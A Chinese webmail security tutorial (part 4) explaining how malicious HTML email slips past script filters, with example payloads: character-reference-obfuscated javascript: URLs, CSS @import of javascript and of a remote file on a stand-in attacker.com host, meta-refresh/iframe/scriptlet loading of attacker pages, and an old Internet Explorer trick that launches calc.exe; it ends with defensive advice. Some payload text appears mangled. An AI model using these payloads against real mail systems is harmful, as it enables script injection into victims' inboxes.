教学之友,学习之友。

站长教学网

webmail安全实战教程(4)

时间:2012-03-25 23:26来源:未知 作者:ken 点击:

 (3) 由于软硬件或其他原因,一些冷僻或特殊的字符不能输入或正确显示在html页面上,为了解决这个问题,html中可以使用SGML字符参考。字符参考是一种用来指定文档字符集中任何字符的独立编码机制,以“&”开始,以“;”结束。字符参考有两种表达方式:数字字符参考和实体字符参考。数字字符参考的语法为“&#D;”(D代表一个十进制数),或“&#xH;”、“&#XH;”(H代表一个十六进制数),例如“A;”、“A”表示字母“A”,“水;”、“水”表示汉字“水”。

  攻击者把html语句里的一些字符以数字字符参考来代替,这样能避开WebMail系统对脚本程序的过滤。需要注意的是,元素和属性不可以用字符参考表示,例如:

<body>
<img lowsrc="ja;vasC;ript:alert('javascript#1 is executed')">
<a href="javAsC;ript:alert('javascript#2
i&#x73 executed')">Click here</a>
<form method="post" action="javascript:alert('javascript#3 is
executed')">
<input type="Submit" value="Submit">
</form>
</body>

  (4) 样式表是层叠样式表单(CSS:Cascading Style Sheet)的简称,用于控制、增强或统一网页上的样式(如字体、颜色等),它能够将样式信息与网页内容相分离,在html语言的style标签内可以用@import声明输入一个样式表。但是,如果输入的资源类型或内容是javascript,Internet Explorer浏览器仍然会执行。

例如: <style type="text/css">
<!--
@import url(javascript:alert('javascript#1 is executed'));
@import url(http://www.attacker.com/js.css);
-->
</style>

  其中http://www.attacker.com/js.css的内容如下所示:

@import url(javascript:alert('javascript#2 is executed'));
@import url(javascript:eval(String.fromCharCode
(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,
108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));

  能够绕过WebMail系统对脚本程序过滤的方法远不止上面所说的这些,例如曾有人发现把“<script>”标签改成“<_a<script>”和“<<script>”的样子能绕过yahoo电邮的过滤,这个漏洞yahoo在最近才改正过来。

除了可以在html邮件中直接嵌入脚本程序外,攻击者还可以设计一些html代码,在用户打开html邮件时,不知不觉引入另一个html文件,而此文件中正含有恶性代码,这样不仅能直接绕过WebMail系统对脚本程序的过滤,而且还能有效避开提供了防毒服务的邮件系统对恶性代码的查杀。下面是几个调用html文件的例子:
  (1) Refresh到另一个页面:

<body>
<meta http-equiv="refresh" content="1;URL=http://www.attacker.com/another.htm">
</body>

  (2) Iframe引入另一个页面:

<body>
<iframe src="http://www.attacker.com/import.htm" frameborder="0"></iframe>
</body>

  (3) scriptlet引入另一个页面:

<body>
<object type="text/x-scriptlet" data="http://www.attacker.com/import.htm"></object>
</body>

  攻击者还可以采取如下方法,使带有恶性代码的html邮件具有更大的隐蔽性:

  (1) 配合邮件欺骗技术,使用户不会怀疑收到的邮件,并且攻击者也能隐藏自己的行踪。

  (2) 把html邮件设计成看起来像txt邮件。

  (3) 有时可以把html邮件中的恶性代码放在一个隐藏的层里面,表面上看不出任何变化。

  针对恶性脚本程序的影响,对用户常见的建议办法是提高浏览器的安全级别,如禁用ActiveX、禁用脚本等,但这并不是一个很好的办法,因为这样会影响到用户对其他正常html页面的浏览。即使浏览器达到了最高级别,依然对某些恶性代码无济于事,下面是位以色列安全专家发现的漏洞,能让Windows系统自动执行任何本地程序,即使Internet Explorer已经禁止了ActiveX和脚本程序:

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>

<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile" classid="clsid:11111111-1111-1111-1111-
111111111111" codebase="c:/winnt/system32/calc.exe"></object>
]]>
</exploit>
</security>
</xml>

  面对恶性html邮件,WebMail系统和用户似乎都没有很好的解决办法,虽然许多WebMail系统已经能够过滤掉html邮件中的很多恶性代码,不过令人遗憾的是,要想彻底过滤掉恶性代码并不是一件容易的事情,攻击者总能利用WebMail系统过滤机制和浏览器的漏洞找到办法绕过种种过滤,WebMail系统所能做的就是发现一个漏洞补一个漏洞。

  为了减少乃至避免恶性html邮件的影响,在打开html邮件之前,WebMail系统有必要提醒用户这是一个html邮件,如果能提供让用户以文本方式浏览html邮件的功能,则是最好不过。在打开不明邮件之前,用户更要小心谨慎,最好把html邮件“目标另存为”到本地硬盘上再打开来看,如果能先查看html邮件源代码,则是最好不过。

  另外需要特别提醒用户注意的是,虽然一些电子邮件系统会在WebMail系统上对html邮件中的恶性代码进行过滤,但在pop3服务器上并不会进行过滤,所以,如果是通过邮件客户端收取邮件,仍然要谨防恶性html邮件的危害。

(责任编辑:ken)
TAG标签: mail 邮件 webmail
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
注册登录:不允许匿名留言,登录后留言无需输入验证码。
栏目列表
最新内容